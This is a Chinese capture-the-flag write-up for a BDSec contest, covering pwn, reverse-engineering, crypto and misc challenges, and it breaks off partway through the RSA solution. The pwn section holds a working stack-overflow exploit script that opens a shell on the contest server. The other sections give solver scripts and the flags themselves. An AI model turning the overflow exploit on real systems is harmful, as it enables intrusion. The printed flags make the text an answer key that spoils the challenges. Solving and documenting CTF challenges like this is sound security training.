组队参加了个国外的小线上赛，题目比较简单

目录

PWN

pwnrace

Reverse

BDSec License Checker 0x1

shashdot

Flag Box

Simple Math

Poster

BDSec License Checker 0x03

BDSec License Checker 0x02

Cryptography

CryptoCode

VIPx01

VIPx02

Fake

Dominoes

Loop Lover

Basically RSA

MISC

Message of Hufflepuff

Find Me Inside

NetWorking

---

PWN

pwnrace

pwn只有一个问题是一个ret2system ，gets将数据读入堆栈，导致溢出，未打开canary和PIE直接溢出将shell写到ret里

int heath_check() {   char s1[256]; // [rsp 0h] [rbp-100h] BYREF    printf("\x1B[0;32mEnter Password:\n\x1B[0m");   gets(s1);   if ( strcmp(s1, "hAcK_Th3_Pl@n3t") )   {     printf("\x1B[41mWrong Password!!!!!\n\x1B[0m");     _exit(0);   }   printf("\x1B[4;32mEnter Password:\n\x1B[0m");   return system("top -b -n 1"); } int shell() {   return system("/bin/sh"); }

但是有一个小问题，直接写shell地址不好，需要跳过rbp从lea rax /bin/sh开始

.text:00000000004013A0                               ; int shell() .text:00000000004013A0                               public shell .text:00000000004013A0                               shell proc near .text:00000000004013A0                               ; __unwind { .text:00000000004013A0 F3 0F 1E FA                   endbr64 .text:00000000004013A4 55                            push    rbp .text:00000000004013A5 48 89 E5                      mov     rbp, rsp .text:00000000004013A8 48 8D 05 86 13 00 00          lea     rax, command                    ; "/bin/sh" .text:00000000004013AF 48 89 C7                      mov     rdi, rax                        ; command .text:00000000004013B2 E8 29 FD FF FF                call    _system .text:00000000004013B2 .text:00000000004013B7 90                            nop .text:00000000004013B8 5D                            pop     rbp .text:00000000004013B9 C3                            retn .text:00000000004013B9                               ; } // starts at 4013A0 .text:00000000004013B9 .text:00000000004013B9                               shell endp

完整WP

from pwn import *  context(arch='amd64', log_level='debug')  elf = ELF('./pwnrace')  #p = process('./pwnrace') p = remote('159.223.101.241', 31337)  #gdb.attach(p, 'b*0x401400') #pause() sleep(0.2) p.sendlineafter(b'Password', b"hAcK_Th3_Pl@n3t".ljust(0x108, b'\x00')  p64(0x4013a8)) p.sendline(b'cat flag') p.interactive() #BDSEC{pwn_is_the_way_to_haven} 

Reverse

BDSec License Checker 0x1

主程序调用ns_然后直接比较

int __fastcall ns_2(const char *a1) {   int v2; // [rsp 14h] [rbp-ACh]   int i; // [rsp 18h] [rbp-A8h]   int v4[34]; // [rsp 20h] [rbp-A0h]   unsigned __int64 v5; // [rsp A8h] [rbp-18h]    v5 = __readfsqword(0x28u);   if ( strlen(a1) > 0x1F || strlen(a1) <= 0x1E )     return puts("Invalid license key. Please try again.");// 长度0x1f   v4[0] = 71;   v4[1] = 91;   v4[2] = 43;   v4[3] = 101;   v4[4] = 81;   v4[5] = 326;   v4[6] = 806;   v4[7] = 99;   v4[8] = 104;   v4[9] = 20;   v4[10] = 16;   v4[11] = 40;   v4[12] = 20;   v4[13] = 64;   v4[14] = 104;   v4[15] = 406;   v4[16] = 20;   v4[17] = 104;   v4[18] = 706;   v4[19] = 20;   v4[20] = 416;   v4[21] = 64;   v4[22] = 89;   v4[23] = 26;   v4[24] = 99;   v4[25] = 64;   v4[26] = 10;   v4[27] = 89;   v4[28] = 10;   v4[29] = 10;   v4[30] = 526;   v2 = 0;   for ( i = 0; i < strlen(a1);   i )   {     if ( (unsignd int)ns_1((unsigned int)a1[i]) + 5 != v4[i] )
    {
      v2 = 0;
      break;
    }
    v2 = 1;
  }
  if ( v2 == 1 )
    return puts("Congrats ! You found the right license key.");
  else
    return puts("Invalid license key. Please try again.");
}
__int64 __fastcall ns_1(int a1)
{
  unsigned int v3; // [rsp+Ch] [rbp-8h]

  v3 = 0;
  while ( a1 )
  {
    v3 = 10 * v3 + a1 % 10;
    a1 /= 10;
  }
  return v3;
}

WP

c =[71,91,43,101,81,326,806,99,104,20,16,40,20,64,104,406,20,104,706,20,416,64,89,26,99,64,10,89,10,10,526]

def ns_1(a1):
    v3 = 0;
    while a1 != 0:
        v3 = 10 * v3 + (a1 % 10);
        a1 //= 10;
    return v3;

flag = ''
for i in c:
    for j in range(0x21, 0x7f):
        if (ns_1(j) + 5) == i:
            flag+=chr(j)
            break 

print(flag)
#BDSEC{l1c3n53_ch3ck3r_0x1_2022}   

shashdot

提示是patch me if you can! 其实不用patch只是加密逻辑不在main里，直接找到即可，s里是65再对应加上v3

unsigned __int64 rrqqq()
{
  int i; // [rsp+Ch] [rbp-44h]
  char s[32]; // [rsp+10h] [rbp-40h] BYREF
  char v3[19]; // [rsp+30h] [rbp-20h]
  char v4[2]; // [rsp+43h] [rbp-Dh] BYREF
  unsigned __int64 v5; // [rsp+48h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3[0] = 1;
  v3[1] = 3;
  v3[2] = 18;
  v3[3] = 4;
  v3[4] = 2;
  v3[5] = 58;
  v3[6] = 40;
  v3[7] = 30;
  v3[8] = -1;
  v3[9] = 12;
  v3[10] = 30;
  v3[11] = -1;
  v3[12] = 30;
  v3[13] = 17;
  v3[14] = 4;
  v3[15] = 30;
  v3[16] = 45;
  v3[17] = -17;
  v3[18] = -17;
  qmemcpy(v4, "!<", sizeof(v4));
  memset(s, 65, 0x15uLL);
  for ( i = 0; i <= 20; ++i )
    s[i] += v3[i];
  puts(s);
  return v5 - __readfsqword(0x28u);
}

WP

#rrqqq()
c = [1,3,18,4,2,58,40,30,-1,12,30,-1,30,17,4,30,45,-17,-17, 33,60]
print(bytes([v+65 for v in c]))
#BDSEC{i_@M_@_RE_n00b}

Flag Box

这个同上个基本一样，主逻辑在ox里，先给出串然后按指定顺序输出

 qmemcpy(v28, "dyb}_0SBhCgtUarDiEH{u", sizeof(v28));
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, 66LL);
  v1 = std::operator<<<std::char_traits<char>>(v0, (unsigned int)v28[15]);
  v2 = std::operator<<<std::char_traits<char>>(v1, (unsigned int)v28[6]);
  v3 = std::operator<<<std::char_traits<char>>(v2, (unsigned int)v28[17]);
  v4 = std::operator<<<std::char_traits<char>>(v3, (unsigned int)v28[9]);
  v5 = std::operator<<<std::char_traits<char>>(v4, (unsigned int)v28[19]);
  v6 = std::operator<<<std::char_traits<char>>(v5, (unsigned int)v28[18]);
  v7 = std::operator<<<std::char_traits<char>>(v6, (unsigned int)v28[20]);
  v8 = std::operator<<<std::char_traits<char>>(v7, (unsigned int)v28[14]);
  v9 = std::operator<<<std::char_traits<char>>(v8, (unsigned int)v28[14]);
  v10 = std::operator<<<std::char_traits<char>>(v9, (unsigned int)v28[13]);
  v11 = std::operator<<<std::char_traits<char>>(v10, (unsigned int)v28[8]);
  v12 = std::operator<<<std::char_traits<char>>(v11, (unsigned int)v28[4]);
  v13 = std::operator<<<std::char_traits<char>>(v12, (unsigned int)v28[12]);
  v14 = std::operator<<<std::char_traits<char>>(v13, (unsigned int)v28[4]);
  v15 = std::operator<<<std::char_traits<char>>(v14, (unsigned int)v28[10]);
  v16 = std::operator<<<std::char_traits<char>>(v15, (unsigned int)v28[5]);
  v17 = std::operator<<<std::char_traits<char>>(v16, (unsigned int)v28[11]);
  v18 = std::operator<<<std::char_traits<char>>(v17, (unsigned int)v28[4]);
  v19 = std::operator<<<std::char_traits<char>>(v18, (unsigned int)v28[16]);
  v20 = std::operator<<<std::char_traits<char>>(v19, (unsigned int)v28[11]);
  v21 = std::operator<<<std::char_traits<char>>(v20, (unsigned int)v28[4]);
  v22 = std::operator<<<std::char_traits<char>>(v21, (unsigned int)v28[2]);
  v23 = std::operator<<<std::char_traits<char>>(v22, (unsigned int)v28[20]);
  v24 = std::operator<<<std::char_traits<char>>(v23, (unsigned int)v28[0]);
  v25 = std::operator<<<std::char_traits<char>>(v24, (unsigned int)v28[0]);
  v26 = std::operator<<<std::char_traits<char>>(v25, (unsigned int)v28[1]);
  std::operator<<<std::char_traits<char>>(v26, (unsigned int)v28[3]);
  return 0LL;

WP

#ox()
c = "dyb}_0SBhCgtUarDiEH{u"
a = [15,6,17,9,19,18,20,14,14,13,8,4,12,4,10,5,11,4,16,11,4,2,20,0,0,1,3]
flag = 'B'
for i in a:
    flag+=c[i]

print(flag)
#BDSEC{Hurrah_U_g0t_it_buddy}

Simple Math

真以为重了，同上

qmemcpy(v21, "_YDPCSeEBzZ3aA{}", sizeof(v21));
  std::operator<<<std::char_traits<char>>(
    &std::cout,
    "\nThat was easy right?\n\nBy the way,\nHere is your flag:\n\n",
    a3);
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)v21[8]);
  v4 = std::operator<<<std::char_traits<char>>(v3, (unsigned int)v21[2]);
  v5 = std::operator<<<std::char_traits<char>>(v4, (unsigned int)v21[5]);
  v6 = std::operator<<<std::char_traits<char>>(v5, (unsigned int)v21[7]);
  v7 = std::operator<<<std::char_traits<char>>(v6, (unsigned int)v21[4]);
  v8 = std::operator<<<std::char_traits<char>>(v7, (unsigned int)v21[14]);
  v9 = std::operator<<<std::char_traits<char>>(v8, (unsigned int)v21[11]);
  v10 = std::operator<<<std::char_traits<char>>(v9, (unsigned int)v21[12]);
  v11 = std::operator<<<std::char_traits<char>>(v10, (unsigned int)v21[10]);
  v12 = std::operator<<<std::char_traits<char>>(v11, (unsigned int)v21[1]);
  v13 = std::operator<<<std::char_traits<char>>(v12, (unsigned int)v21[0]);
  v14 = std::operator<<<std::char_traits<char>>(v13, (unsigned int)v21[3]);
  v15 = std::operator<<<std::char_traits<char>>(v14, (unsigned int)v21[6]);
  v16 = std::operator<<<std::char_traits<char>>(v15, (unsigned int)v21[13]);
  v17 = std::operator<<<std::char_traits<char>>(v16, (unsigned int)v21[9]);
  v18 = std::operator<<<std::char_traits<char>>(v17, (unsigned int)v21[1]);
  v19 = std::operator<<<std::char_traits<char>>(v18, (unsigned int)v21[15]);
  std::ostream::operator<<(v19, &std::endl<char,std::char_traits<char>>);
  return 0LL;

#fg()
c = "_YDPCSeEBzZ3aA{}"
a = [8,2,5,7,4,14,11,12,10,1,0,3,6,13,9,1,15]
flag = ''
for i in a:
    flag+=c[i]

print(flag)
#BDSEC{3aZY_PeAzY}

Poster

这个输入以后直接比较，

  printf("Flag? ");
  fgets(v8, 73, stdin);
  v3 = strlen(v8);
  v4 = 0LL;
  v5 = v3 - 1;
  do
  {
    if ( v5 == v4 )
    {
      puts("Congratulations password iss  your flag");
      return 0;
    }
    v6 = v8[v4++];
  }
  while ( v6 == LOBYTE(flag[v4 - 1]) );

.rodata:0000000000002960 42 00 44 00 45 00 43 00 7B 00+text "UTF-16LE", 'BDEC{this_Start_your_re_journey}'

BDSec License Checker 0x03

看上去很复杂，但仔细理一下，就是把大小写分开作个循环移位然后反向一次

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+5h] [rbp-13Bh]
  char v5; // [rsp+5h] [rbp-13Bh]
  char v6; // [rsp+5h] [rbp-13Bh]
  int j; // [rsp+8h] [rbp-138h]
  int k; // [rsp+8h] [rbp-138h]
  int m; // [rsp+8h] [rbp-138h]
  int v10; // [rsp+Ch] [rbp-134h]
  int i; // [rsp+10h] [rbp-130h]
  int v12; // [rsp+14h] [rbp-12Ch]
  char v13; // [rsp+1Ch] [rbp-124h]
  int v14[40]; // [rsp+20h] [rbp-120h]
  char s[104]; // [rsp+C0h] [rbp-80h] BYREF
  unsigned __int64 v16; // [rsp+128h] [rbp-18h]

  v16 = __readfsqword(0x28u);
  v10 = 0;
  v14[0] = 125;
  v14[1] = 120;
  v14[2] = 84;
  v14[3] = 110;
  v14[4] = 83;
  v14[5] = 119;
  v14[6] = 95;
  v14[7] = 84;
  v14[8] = 84;
  v14[9] = 109;
  v14[10] = 87;
  v14[11] = 111;
  v14[12] = 95;
  v14[13] = 109;
  v14[14] = 84;
  v14[15] = -128;
  v14[16] = 82;
  v14[17] = 122;
  v14[18] = 87;
  v14[19] = 120;
  v14[20] = 95;
  v14[21] = 84;
  v14[22] = 110;
  v14[23] = 105;
  v14[24] = 84;
  v14[25] = 120;
  v14[26] = 88;
  v14[27] = -127;
  v14[28] = 95;
  v14[29] = 110;
  v14[30] = 73;
  v14[31] = 100;
  v14[32] = 123;
  v14[33] = 82;
  v14[34] = 84;
  v14[35] = 72;
  v14[36] = 83;
  v14[37] = 81;
  puts("\t----------------------------");
  puts("\t BDSEC License Checker 0x03");
  puts("\t----------------------------\n");
  printf("Please enter your license to continue : ");
  gets(s, argv);
  if ( strlen(s) == 38 )
  {
    for ( i = 0; i < strlen(s); ++i )
    {
      if ( s[i] <= 64 || s[i] > 90 )
      {
        if ( s[i] > 96 && s[i] <= 122 )
        {
          if ( s[i] <= 96 || s[i] > 109 )       // 小写字母ROT13
            s[i] -= 13;
          else
            s[i] += 13;
        }
      }
      else if ( s[i] <= 63 || s[i] > 77 )
      {                                         // 大写
        s[i] -= 13;
      }
      else
      {
        s[i] += 13;
      }
    }
    v12 = strlen(s);
    for ( j = 0; j < v12 / 2; ++j )             // 反向
    {
      v13 = s[j];
      s[j] = s[v12 - j - 1];
      s[v12 - j - 1] = v13;
    }
    for ( k = 0; s[k]; ++k )
    {
      v4 = s[k];
      if ( v4 <= 96 || v4 > 122 )
      {
        if ( v4 > 64 && v4 <= 90 )
        {                                       // 大写右移2位
          v6 = v4 + 2;
          if ( v6 > 90 )
            v6 -= 26;
          s[k] = v6;
        }
      }
      else
      {
        v5 = v4 + 8;                            // 小写右移8位
        if ( v5 > 122 )
          v5 -= 26;
        s[k] = v5;
      }
    }
    for ( m = 0; m < strlen(s); ++m )
    {
      if ( s[m] != v14[m] )
      {
        v10 = 0;
        break;
      }
      v10 = 1;
    }
    if ( v10 == 1 )
      puts(
        "Congratulations for finding the right license key. I wish I had premium service for you :P But you can get point"
        "s by submitting the license key.");
    else
      puts("Invalid license key. Please try again.");
  }
  else
  {
    puts("Invalid license key. Please try again.");
  }
  return 0;
}

但这有个小坑点：对比串里有-128和-127这两个数逆不回来，所以这两个字母是根据单词猜的

c = [125,120,84,110,83,119,95,84,84,109,87,111,95,109,84,128,82,122,87,120,95,84,110,105,84,120,88,129,95,110,73,100,123,82,84,72,83,81]
flag = ''
for i in c:
    if i>=ord('A') and i<=ord('Z'):
        i -=2
        if i<ord('A'):
            i+=26 
    elif i>=ord('a') and i<=ord('z'):
        i -=8
        if i<ord('a'):
            i+=26
    if i>=ord('A') and i<=ord('Z'):
        if i<ord('A')+13:
            i+=13
        else:
            i-=13        
    elif i>=ord('a') and i<=ord('z'):
        if i<ord('a')+13:
            i+=13
        else:
            i-=13   
    flag+=chr(i)
print(flag[::-1])
#BDSEC{iTs_IcEnsE_cHeCEr_tHrEE_bDsEc} 猜两个词
#BDSEC{iTs_lIcEnsE_cHeCkEr_tHrEE_bDsEc}

BDSec License Checker 0x02

这个是先出的，但是分值高排后边了

跟3相似，只是没有反向，可以直接爆破，不需要理解

 v10 = 65;
  v9 = 63;
  v11 = 0;
  v5[0] = 109;
  v5[1] = 111;
  v5[2] = 126;
  v5[3] = 112;
  v5[4] = 110;
  v5[5] = 128;
  v5[6] = 119;
  v5[7] = 116;
  v5[8] = 110;
  v5[9] = 112;
  v5[10] = 121;
  v5[11] = 58;
  v5[12] = 56;
  v5[13] = 100;
  v5[14] = 110;
  v5[15] = 115;
  v5[16] = 112;
  v5[17] = 110;
  v5[18] = 118;
  v5[19] = 56;
  v5[20] = 125;
  v5[21] = 100;
  v5[22] = 53;
  v5[23] = 105;
  v5[24] = 53;
  v5[25] = 55;
  v5[26] = 100;
  v5[27] = 55;
  v5[28] = 53;
  v5[29] = 55;
  v5[30] = 55;
  v5[31] = 100;
  v5[32] = 121;
  v5[33] = 58;
  v5[34] = 130;
  puts("\t----------------------------");
  puts("\t BDSEC License Checker 0x02");
  puts("\t----------------------------\n");
  printf("Please enter your license to continue : ");
  gets(s, argv);
  if ( strlen(s) == 35 )
  {
    for ( i = 0; s[i]; ++i )
    {
      if ( s[i] > 96 && s[i] <= 122 )
        s[i] -= 32;
    }
    for ( i = 0; s[i]; ++i )
    {
      if ( s[i] > 64 && s[i] <= 90 )
        s[i] += 32;
    }
    for ( i = 0; s[i]; ++i )
    {
      v13 = s[i];
      if ( v13 <= 96 || v13 > 122 )
      {
        if ( v13 > 64 && v13 <= 90 )
        {
          v7 = v9 % 10;
          v13 += v9 % 10;
          if ( v13 > 90 )
            v13 -= 26;
          s[i] = v13;
        }
      }
      else
      {
        v7 = v10 % 10;
        v13 += v10 % 10;
        if ( v13 > 122 )
          v13 -= 26;
        s[i] = v13;
      }
    }
    for ( i = 0; s[i]; ++i )
    {
      v13 = s[i];
      if ( v13 <= 96 || v13 > 122 )
      {
        if ( v13 > 64 && v13 <= 90 )
        {
          v7 = v9 % 4;
          v13 += v9 % 4;
          if ( v13 > 90 )
            v13 -= 26;
          s[i] = v13;
        }
      }
      else
      {
        v7 = v10 % 4;
        v13 += v10 % 4;
        if ( v13 > 122 )
          v13 -= 26;
        s[i] = v13;
      }
    }
    for ( i = 0; ; ++i )
    {
      v3 = i;
      if ( v3 >= strlen(s) )
        break;
      v8 = s[i];
      if ( v5[i] != v8 + 5 )
      {
        v11 = 0;
        break;
      }
      v11 = 1;
    }
    if ( v11 == 1 )
      puts(
        "Congratulations for finding the right license key. I wish I had premium service for you :P But you can get point"
        "s by submitting the license key.");
    else
      puts("Invalid license key. Please try again.");
  }
  else
  {
    puts("Invalid license key. Please try again.");
  }
  return 0;

原文翻译爆破即可

c =[109,111,126,112,110,128,119,116,110,112,121,58,56,100,110,115,112,110,118,56,125,100,53,105,53,55,100,55,53,55,55,100,121,58,130]

v9 = 63
v10 = 65
flag = ''
for i in range(35):
    for jj in range(0x21,0x7f):
        j = jj 
        if j>96 and j<=122:
            j -=32
        if j>64 and j<=90:
            j +=32
        tj = j 
        if tj<=96 or tj> 122:
            if tj>64 and tj <=90:
                tj += v9 %10 
                if tj > 90:
                    tj -=26 
                j = tj 
        else:               
            tj += v10 % 10 
            if tj > 122:
                tj -=26
            j = tj 
        tj = j 
        if tj <=96 or tj>122:
            if tj >64 and tj <=90:
                tj += v9 %4 
                if tj >90 :
                    tj -=26
                j = tj 
        else:
            tj += v10%4 
            if tj > 122:
                tj -=26
            j = tj 
        
        if j+5 == c[i]:
            flag += chr(jj)
            break

print(flag)
#BDSEC{LICEN53_CHECK3R_0X02_2022_N5}

Cryptography

CryptoCode

给的密文cipher.txt，提示：I convert plain text to cipher text by using Cryptocode library . Always Remember BDSEC is a KEY . 这个看了提示就明白了用cryptocode库

c00EtfL9GPq2EItQrkFyPKIMfVFZy0O4ssXtr/V2Io7NMbNS*Brue6Cex4JuWkWU0lUEK2w==*f8EsezuHu2WBstRDlWZiLg==*CZ/4FNMavWZu3kznPrAyeg==

import cryptocode
myDecryptedMessage = cryptocode.decrypt("c00EtfL9GPq2EItQrkFyPKIMfVFZy0O4ssXtr/V2Io7NMbNS*Brue6Cex4JuWkWU0lUEK2w==*f8EsezuHu2WBstRDlWZiLg==*CZ/4FNMavWZu3kznPrAyeg==", "BDSEC")
print(myDecryptedMessage)
#BDSEC{cryp70_and_pyth0n_ar3_aw3s0me}

VIPx01

题目：

My friend gave me his game username and game id . Can decode game id ?

User : rot

Game ID : OQFRP{pelcg0_ne3_nj3f0z3}

这个是ROT13

BDSEC{crypt0_ar3_aw3s0m3}

VIPx02

这个没弄出来，分数很低但确实没作出来，也许是非常简单的加密方法，但确实想不出是哪个

My friend gave me his VIP account credential and he said to me decode my password .

User : twin13

password : 3ip2uq3mj5z95oj59s4q654j4q65hv5746oj4o64pz5644pz18f1bm5tx4v35z95oj59s6w0

Fake

一大篇文章

Dear E-Commerce professional ; This letter was specially 
selected to be sent to you . This is a one time mailing 
there is no need to request removal if you won't want 
any more . This mail is being sent in compliance with 
Senate bill 1624 , Title 1 , Section 302 ! This is 
not a get rich scheme ! Why work for somebody else 
when you can become rich as few as 60 WEEKS . Have 
you ever noticed how long the line-ups are at bank 
machines plus how long the line-ups are at bank machines 
! Well, now is your chance to capitalize on this . 
We will help you use credit cards on your website plus 
increase customer response by 140% ! You can begin 
at absolutely no cost to you ! But don't believe us 
! Prof Jones who resides in Massachusetts tried us 
and says "Now I'm rich, Rich, RICH" . This offer is 
100% legal ! We IMPLORE you - act now . Sign up a friend 
and you get half off ! God Bless . Dear Internet user 
; This letter was specially selected to be sent to 
you . If you are not interested in our publications 
and wish to be removed from our lists, simply do NOT 
respond and ignore this mail . This mail is being sent 
in compliance with Senate bill 2016 , Title 9 , Section 
302 . This is different than anything else you've seen 
! Why work for somebody else when you can become rich 
within 92 days . Have you ever noticed society seems 
to be moving faster and faster plus nobody is getting 
any younger . Well, now is your chance to capitalize 
on this . WE will help YOU use credit cards on your 
website & decrease perceived waiting time by 140% . 
You can begin at absolutely no cost to you ! But don't 
believe us ! Ms Ames who resides in Alaska tried us 
and says "I was skeptical but it worked for me" . We 
are a BBB member in good standing . Do not delay - 
order today . Sign up a friend and you get half off 
. Thank-you for your serious consideration of our offer 
! Dear Business person ; This letter was specially 
selected to be sent to you . If you no longer wish 
to receive our publications simply reply with a Subject: 
of "REMOVE" and you will immediately be removed from 
our directory . This mail is being sent in compliance 
with Senate bill 2416 , Title 1 , Section 304 . Do 
NOT confuse us with Internet scam artists . Why work 
for somebody else when you can become rich within 30 
DAYS . Have you ever noticed nobody is getting any 
younger and nearly every commercial on television has 
a .com on in it . Well, now is your chance to capitalize 
on this . WE will help YOU process your orders within 
seconds plus process your orders within seconds ! You 
are guaranteed to succeed because we take all the risk 
. But don't believe us . Mrs Simpson who resides in 
Alabama tried us and says "My only problem now is where 
to park all my cars" ! We are licensed to operate in 
all states . We BESEECH you - act now ! Sign up a friend 
and your friend will be rich too ! God Bless . Dear 
Business person , Thank-you for your interest in our 
publication ! We will comply with all removal requests 
! This mail is being sent in compliance with Senate 
bill 2416 , Title 1 , Section 301 ! THIS IS NOT MULTI-LEVEL 
MARKETING . Why work for somebody else when you can 
become rich within 10 WEEKS ! Have you ever noticed 
more people than ever are surfing the web and people 
love convenience . Well, now is your chance to capitalize 
on this ! We will help you process your orders within 
seconds and deliver goods right to the customer's doorstep 
. You are guaranteed to succeed because we take all 
the risk . But don't believe us . Mr Simpson of Georgia 
tried us and says "I've been poor and I've been rich 
- rich is better" ! We are a BBB member in good standing 
! We urge you to contact us today for your own future 
financial well-being ! Sign up a friend and you get 
half off . Thanks . Dear Sir or Madam ; You made the 
right decision when you signed up for our mailing list 
! This is a one time mailing there is no need to request 
removal if you won't want any more ! This mail is being 
sent in compliance with Senate bill 2216 ; Title 2 
; Section 307 ! This is a ligitimate business proposal 
! Why work for somebody else when you can become rich 
as few as 24 months . Have you ever noticed people 
will do almost anything to avoid mailing their bills 
plus nobody is getting any younger . Well, now is your 
chance to capitalize on this . We will help you increase 
customer response by 120% & increase customer response 
by 150% . You can begin at absolutely no cost to you 
! But don't believe us ! Mrs Anderson who resides in 
New York tried us and says "I was skeptical but it 
worked for me" . We are licensed to operate in all 
states ! So make yourself rich now by ordering immediately 
. Sign up a friend and you'll get a discount of 90% 
. Best regards . Dear Cybercitizen , Especially for 
you - this red-hot announcement ! We will comply with 
all removal requests ! This mail is being sent in compliance 
with Senate bill 1621 ; Title 4 ; Section 302 ! This 
is NOT unsolicited bulk mail . Why work for somebody 
else when you can become rich within 78 days ! Have 
you ever noticed nobody is getting any younger & most 
everyone has a cellphone ! Well, now is your chance 
to capitalize on this . WE will help YOU SELL MORE 
plus turn your business into an E-BUSINESS ! You can 
begin at absolutely no cost to you ! But don't believe 
us ! Mrs Jones who resides in North Dakota tried us 
and says "My only problem now is where to park all 
my cars" . We are a BBB member in good standing . We 
beseech you - act now ! Sign up a friend and you'll 
get a discount of 10% . Thank-you for your serious 
consideration of our offer . Dear Friend , Your email 
address has been submitted to us indicating your interest 
in our publication ! We will comply with all removal 
requests . This mail is being sent in compliance with 
Senate bill 1623 , Title 7 , Section 303 . THIS IS 
NOT A GET RICH SCHEME . Why work for somebody else 
when you can become rich inside 58 MONTHS . Have you 
ever noticed nobody is getting any younger plus nearly 
every commercial on television has a .com on in it 
! Well, now is your chance to capitalize on this ! 
WE will help YOU process your orders within seconds 
& decrease perceived waiting time by 140% ! You can 
begin at absolutely no cost to you ! But don't believe 
us . Ms Simpson of New Hampshire tried us and says 
"Now I'm rich many more things are possible" . This 
offer is 100% legal ! Do not delay - order today . 
Sign up a friend and you'll get a discount of 10% . 
Thank-you for your serious consideration of our offer 
! Dear Colleague ; Your email address has been submitted 
to us indicating your interest in our newsletter ! 
If you no longer wish to receive our publications simply 
reply with a Subject: of "REMOVE" and you will immediately 
be removed from our mailing list . This mail is being 
sent in compliance with Senate bill 1619 , Title 9 
; Section 304 ! This is NOT unsolicited bulk mail . 
Why work for somebody else when you can become rich 
as few as 82 months . Have you ever noticed the baby 
boomers are more demanding than their parents plus 
more people than ever are surfing the web . Well, now 
is your chance to capitalize on this ! We will help 
you turn your business into an E-BUSINESS & use credit 
cards on your website . You can begin at absolutely 
no cost to you . But don't believe us ! Prof Ames of 
Michigan tried us and says "I was skeptical but it 
worked for me" ! We assure you that we operate within 
all applicable laws . For the sake of your family order 
now . Sign up a friend and your friend will be rich 
too . Cheers ! Dear Internet user , Especially for 
you - this hot announcement . We will comply with all 
removal requests . This mail is being sent in compliance 
with Senate bill 1623 ; Title 6 , Section 309 . This 
is NOT unsolicited bulk mail . Why work for somebody 
else when you can become rich inside 11 weeks ! Have 
you ever noticed people will do almost anything to 
avoid mailing their bills plus how long the line-ups 
are at bank machines ! Well, now is your chance to 
capitalize on this . WE will help YOU deliver goods 
right to the customer's doorstep and use credit cards 
on your website . You are guaranteed to succeed because 
we take all the risk . But don't believe us . Mrs Jones 
of Illinois tried us and says "I've been poor and I've 
been rich - rich is better" . We assure you that we 
operate within all applicable laws . We BESEECH you 
- act now ! Sign up a friend and your friend will be 
rich too ! Warmest regards . Dear Professional ; Your 
email address has been submitted to us indicating your 
interest in our briefing ! If you no longer wish to 
receive our publications simply reply with a Subject: 
of "REMOVE" and you will immediately be removed from 
our mailing list . This mail is being sent in compliance 
with Senate bill 1623 ; Title 6 ; Section 302 ! This 
is not multi-level marketing ! Why work for somebody 
else when you can become rich in 99 weeks ! Have you 
ever noticed people love convenience and nearly every 
commercial on television has a .com on in it ! Well, 
now is your chance to capitalize on this ! We will 
help you sell more plus deliver goods right to the 
customer's doorstep . You can begin at absolutely no 
cost to you . But don't believe us ! Prof Ames of South 
Carolina tried us and says "My only problem now is 
where to park all my cars" . We are licensed to operate 
in all states . You have no reason not to act now . 
Sign up a friend and you get half off ! Thanks . Dear 
Salaryman ; Especially for you - this hot announcement 
! If you are not interested in our publications and 
wish to be removed from our lists, simply do NOT respond 
and ignore this mail ! This mail is being sent in compliance 
with Senate bill 1621 , Title 1 , Section 306 . Do 
NOT confuse us with Internet scam artists . Why work 
for somebody else when you can become rich in 46 days 
! Have you ever noticed more people than ever are surfing 
the web plus people love convenience ! Well, now is 
your chance to capitalize on this ! WE will help YOU 
deliver goods right to the customer's doorstep and 
process your orders within seconds . You can begin 
at absolutely no cost to you ! But don't believe us 
. Mr Ames of Virginia tried us and says "Now I'm rich, 
Rich, RICH" ! We are a BBB member in good standing 
. You will blame yourself forever if you don't order 
now . Sign up a friend and you'll get a discount of 
10% ! Thanks . 

在网站上解码

网站：https://spammimic.com/decode.cgi
结果：Hello Mr.Alex   I won't 100000 M USD dolor. Can  you want that, you need this key   BDSEC{do3sn't_b3li3ve_1n_unkn0wn_mail} 

Dominoes

密文没法写，就是用y作了个加密

#! /usr/bin/python3


def x(a, b):
    h = ""
    for i in range(len(a), len(b)):
        t.push(y(b[i]))

    return "".join(a)


def y(c):

	a = list(c)

	for i in range(len(c)):
		b = c[i]
		for j in range(i + 1, len(c)):
			b = chr(ord(b) ^ ord(c[j]))		
		a[i] = b

	return "".join(a)


def z():

	flag = open("flag.txt", "r").read()
	enc_flag = y(flag)

	f = open("encrypted.txt", "w")
	f.write(enc_flag)
	f.close()


if __name__ == "__main__":
	z()

逐个用后边的字符异或，逆向时从后向前作

enc = open("encrypted.txt", "rb").read()
a = [0]*len(enc)
for i in range(len(enc)-1, -1, -1):
    b = enc[i]
    for j in range(i+1, len(enc)):
        b ^= a[j]
    a[i] = b

print(bytes(a))
#BDSEC{n0t_50_e45y_hUh?_433}

Loop Lover

密文：kU1HlnN1aQMBNNRDzX20M73X9RwUTRz9

算法：

def f(t):
    c = list(t)
    for i in range(len(t)):
        for j in range(i, len(t) - 1):
            for k in range(j, len(t) - 2):
                c[k], c[k+1] = c[k+1], c[k]
    return "".join(c)

if __name__ == "__main__":
    flag = open("flag.txt", "r").read()
    open("ciphertext.txt", "w").write(f(flag))

解法，原程序本向就是个交换位置，只需要弄个同长的串正向得到位置然后找回来即可

def f(t):
    c = list(t)
    for i in range(len(t)):
        for j in range(i, len(t) - 1):
            for k in range(j, len(t) - 2):
                c[k], c[k+1] = c[k+1], c[k]
    return "".join(c)

flag = '0123456789abcdefghijklmnopqrstuv'
print(f(flag))

ttt = '15dtu9cb80gi6sqhnolmf7rke4ja32pv'
c = 'kU1HlnN1aQMBNNRDzX20M73X9RwUTRz9'
d = ''
for i in range(32):
    d += c[ttt.index(flag[i])]

from base64 import *
print(b64decode(d))

#BDSEC{ju57_L00p_m3_4w4y}

Basically RSA

唯一的一个rsa题，n很小可分解

#N: 1280678415822214057864524798453297819181910621573945477544758171055968245116423923

#E: 65537

#C: 241757357533719849989659127349827982677055294256023833052829147857534659015212862

p = 1899107986527483535344517113948531328331
q = 674357869540600933870145899564746495319033
n = 1280678415822214057864524798453297819181910621573945477544758171055968245116423923
e = 65537
c = 241757357533719849989659127349827982677055294256023833052829147857534659015212862

from gmpy2 import *
from Crypto.Util.number import long_to_bytes
phi_n = (p-1)*(q-1)
